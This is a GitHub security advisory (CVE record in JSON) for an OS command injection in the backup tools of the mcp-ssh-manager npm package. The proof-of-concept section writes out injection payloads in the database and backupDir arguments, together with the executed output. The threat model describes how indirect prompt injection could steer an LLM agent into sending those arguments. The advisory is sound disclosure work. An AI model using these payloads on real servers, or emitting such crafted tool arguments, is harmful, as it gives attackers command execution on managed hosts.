{"id":"GHSA-qwwm-vrm9-4mw8","summary":"mcp-ssh-manager: Remote code execution (RCE) via command injection in the backup subsystem","details":"## Summary\n\n`src/backup-manager.js` builds shell command strings for the `ssh_backup_*` tools by concatenating **caller-controlled tool arguments** (`database`, `dbUser`, `dbPassword`, `dbHost`, `backupDir`, `paths`, `exclude`, …) directly into the string with **no shell escaping**. The resulting string is passed to `ssh.execCommand()`, which runs it through the remote server's login shell. An argument that contains shell metacharacters (`;`, `$(...)`, backticks, `|`) therefore executes arbitrary commands on the target server. **This is a remote code execution (RCE) vulnerability**: an attacker who controls the tool arguments gains arbitrary command execution on every remote server the MCP instance manages, running as the configured SSH user.\n\nThis is the **same vulnerability class** that was fixed for the database helpers in **CVE-2026-77383 / GHSA-4jx9-2fwj-pg4j**. That fix added a centralized `shellQuote()` and was applied to `src/database-manager.js` (the `ssh_db_*` tools) **only**. The parallel builders in `src/backup-manager.js` (the `ssh_backup_*` tools) were not covered and remain vulnerable in the current release, **v3.8.0**.\n\n```\n$ grep -c shellQuote src/database-manager.js src/backup-manager.js\nsrc/database-manager.js:95        \u003c- fixed (CVE-2026-77383)\nsrc/backup-manager.js:0           \u003c- NOT fixed\n```\n\n## Affected component\n\n- Package: `mcp-ssh-manager` (npm), repository `bvisible/mcp-ssh-manager`\n- Affected versions: **\u003c= 3.8.0** (latest at time of report)\n- File: `src/backup-manager.js` (all builders); reached from the tool handlers in `src/index.js`\n- CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS command injection)\n- Impact: **Remote Code Execution (RCE)** on managed remote servers — arbitrary OS command execution as the configured SSH user\n\n## Details\n\nEvery builder in `src/backup-manager.js` interpolates arguments without escaping. Example — `buildMySQLDumpCommand`:\n\n```js\nlet command = 'mysqldump';\nif (user)     command += ` -u${user}`;\nif (password) command += ` -p'${password}'`;   // single-quote only -\u003e breakable with '\nif (host)     command += ` -h ${host}`;\ncommand += ` ${database}`;                      // fully unquoted\nif (compress) command += ` | gzip \u003e \"${outputFile}\"`;\n```\n\nThe tool handler passes tool arguments straight into the builder (no validation beyond `z.string()` type checking), and the returned string is executed on the remote host:\n\n```js\n// src/index.js  (ssh_backup_create, mysql branch)\nbackupCommand = buildMySQLDumpCommand({ database, user: dbUser, password: dbPassword, host: dbHost, ... });\nconst result = await ssh.execCommand(backupCommand);   // remote login shell\n```\n\n`SSHManager.execCommand()` runs the string with `this.client.exec(fullCommand, …)` (ssh2), i.e. the remote `sshd` executes it via the user's shell, so `;`, `$(...)`, backticks and `|` are interpreted.\n\n### Reachable sinks (all confirmed)\n\n| Tool | Attacker-controlled argument(s) | Builder / sink |\n|------|--------------------------------|----------------|\n| `ssh_backup_create` | `database`, `dbUser`, `dbPassword`, `dbHost`, `backupDir`, `paths`, `exclude` | `buildMySQL/PostgreSQL/MongoDB/FilesBackupCommand`, plus inline `mkdir -p \"${backupDir}\"`, `stat … \"${backupFile}\"`, `buildSaveMetadataCommand`, `buildCleanupCommand` |\n| `ssh_backup_restore` | `database`, `targetPath`, connection params | `buildRestoreCommand` → MySQL/PG/Mongo/Files restore builders |\n| `ssh_backup_schedule` | `schedule`, `database`, `paths`, `cronComment` | script written to the remote host + `buildCronScheduleCommand` (persistent, runs from cron) |\n| `ssh_backup_list` | `backupDir` | `buildListBackupsCommand` → `find \"${backupDir}\" …` |\n\n### Security-mode bypass (most critical)\n\n`ssh_backup_list` is **not** listed in `READONLY_BLOCKED_TOOLS` and is not a `COMMAND_BEARING_TOOLS`, and its handler does not call `applyServerPolicy` at all. In `src/policy.js`, `evaluatePolicy` therefore returns `{ allowed: true }` for it under **both `readonly` and `restricted`** modes. An operator who hardens a server to `readonly` (intending \"the agent may never run commands here\") can still be made to execute arbitrary commands on that server through the unescaped `backupDir` argument of `ssh_backup_list`. This mirrors the \"`ssh_db_list` bypasses readonly/restricted\" note in CVE-2026-77383.\n\n## Proof of concept\n\nThe following session imports the **unmodified** builders from the repository, shows the command string they generate for an attacker-controlled argument, and delivers that exact string to a real `sshd` over SSH exec (which is what `ssh.execCommand()` does internally). The injected command runs on the remote host.\n\n```\n$ node -p \"require('./package.json').version\"\n3.8.0\n\n$ node -e \"import('./src/backup-manager.js').then(m=\u003econsole.log(m.buildMySQLDumpCommand(\n    {database:'appdb; id \u003e /tmp/pwned.txt; #',user:'backup',host:'db.internal',\n     outputFile:'/tmp/app.sql.gz',compress:true})))\"\nmysqldump -ubackup -h db.internal -P 3306 --single-transaction --routines --triggers appdb; id \u003e /tmp/pwned.txt; # | gzip \u003e \"/tmp/app.sql.gz\"\n\n# deliver over SSH exec (identical to ssh.execCommand)\n$ ssh deploy@testhost \"$CMD\"; echo exit=$?\nexit=0\n\n$ ssh deploy@testhost 'cat /tmp/pwned.txt'\nuid=1001(deploy) gid=1001(deploy) groups=1001(deploy)      \u003c-- injected command executed on the remote host\n```\n\nMode-bypass variant via `ssh_backup_list` (works on a `readonly` server):\n\n```\n$ node -e \"import('./src/backup-manager.js').then(m=\u003eprocess.stdout.write(\n    m.buildListBackupsCommand('/var/backups\\\"; id \u003e /tmp/pwned.txt; echo \\\"', null)))\"\nfind \"/var/backups\"; id \u003e /tmp/pwned.txt; echo \"\" -name \"*.meta.json\" -type f | while read -r file; do cat \"$file\"; echo \"---\"; done\n\n$ ssh deploy@testhost \"$LST\"; ssh deploy@testhost 'cat /tmp/pwned.txt'\nuid=1001(deploy) gid=1001(deploy) groups=1001(deploy)\n```\n\n(See attached `session.txt` / `live_repro.log` for the full runs and `poc.mjs` for a standalone reproducer.)\n\n\u003cimg width=\"2400\" height=\"1000\" alt=\"poc_screenshot\" src=\"https://github.com/user-attachments/assets/40463fac-8e32-42c6-a758-d40d7ba2761b\" /\u003e\n\n[mcp-ssh-manager-backup-rce-poc.zip](https://github.com/user-attachments/files/31475925/mcp-ssh-manager-backup-rce-poc.zip)\n\n\n## Impact\n\n**Remote Code Execution (RCE)** — arbitrary OS command execution on the managed remote server, running as the configured SSH user — identical impact to CVE-2026-77383. In the default `unrestricted` mode this is reachable through `ssh_backup_create`, `ssh_backup_restore`, `ssh_backup_schedule` (the last also yields a persistent cron foothold) and `ssh_backup_list`. On servers hardened to `readonly`/`restricted`, `ssh_backup_list` still reaches it, bypassing the intended tool restriction.\n\n## Threat model\n\nConsistent with CVE-2026-77383: the tool arguments are treated as untrusted. In an MCP deployment they are produced by the language model and can be steered by an indirect prompt injection (malicious content the agent reads) or by a malicious/compromised MCP client. No exploitation occurs when a fully trusted operator supplies only benign values.\n\n## Remediation\n\nApply the existing `shellQuote()` from `src/database-manager.js` to every argument interpolated by the builders in `src/backup-manager.js` (`database`, `user`, `password`, `host`, `port`, `outputFile`, `outputDir`, `paths`, `exclude`, `database` in restore, `schedule`/`cronComment` in the cron builder), and to the inline interpolations in the `ssh_backup_*` handlers in `src/index.js` (`mkdir -p \"${backupDir}\"`, `stat … \"${backupFile}\"`, `echo '…' \u003e \"${metadataPath}\"`). Prefer passing values as argv where the transport allows it. Additionally, route `ssh_backup_list` through `applyServerPolicy` so it is subject to the same read-only semantics as the other backup tools.","aliases":["CVE-2026-129995"],"modified":"2026-11-30T20:15:11.152498743Z","published":"2026-11-30T20:02:31Z","database_specific":{"nvd_published_at":"2026-11-20T19:18:44Z","cwe_ids":["CWE-78"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-11-30T20:02:31Z"},"references":[{"type":"WEB","url":"https://github.com/bvisible/mcp-ssh-manager/security/advisories/GHSA-qwwm-vrm9-4mw8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-129995"},{"type":"WEB","url":"https://github.com/bvisible/mcp-ssh-manager/commit/d40daa8a43388dfaedf593bff18f0064d50f9633"},{"type":"PACKAGE","url":"https://github.com/bvisible/mcp-ssh-manager"},{"type":"WEB","url":"https://github.com/bvisible/mcp-ssh-manager/releases/tag/v3.8.5"}],"affected":[{"package":{"name":"mcp-ssh-manager","ecosystem":"npm","purl":"pkg:npm/mcp-ssh-manager"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.8.5"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-qwwm-vrm9-4mw8/GHSA-qwwm-vrm9-4mw8.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}]}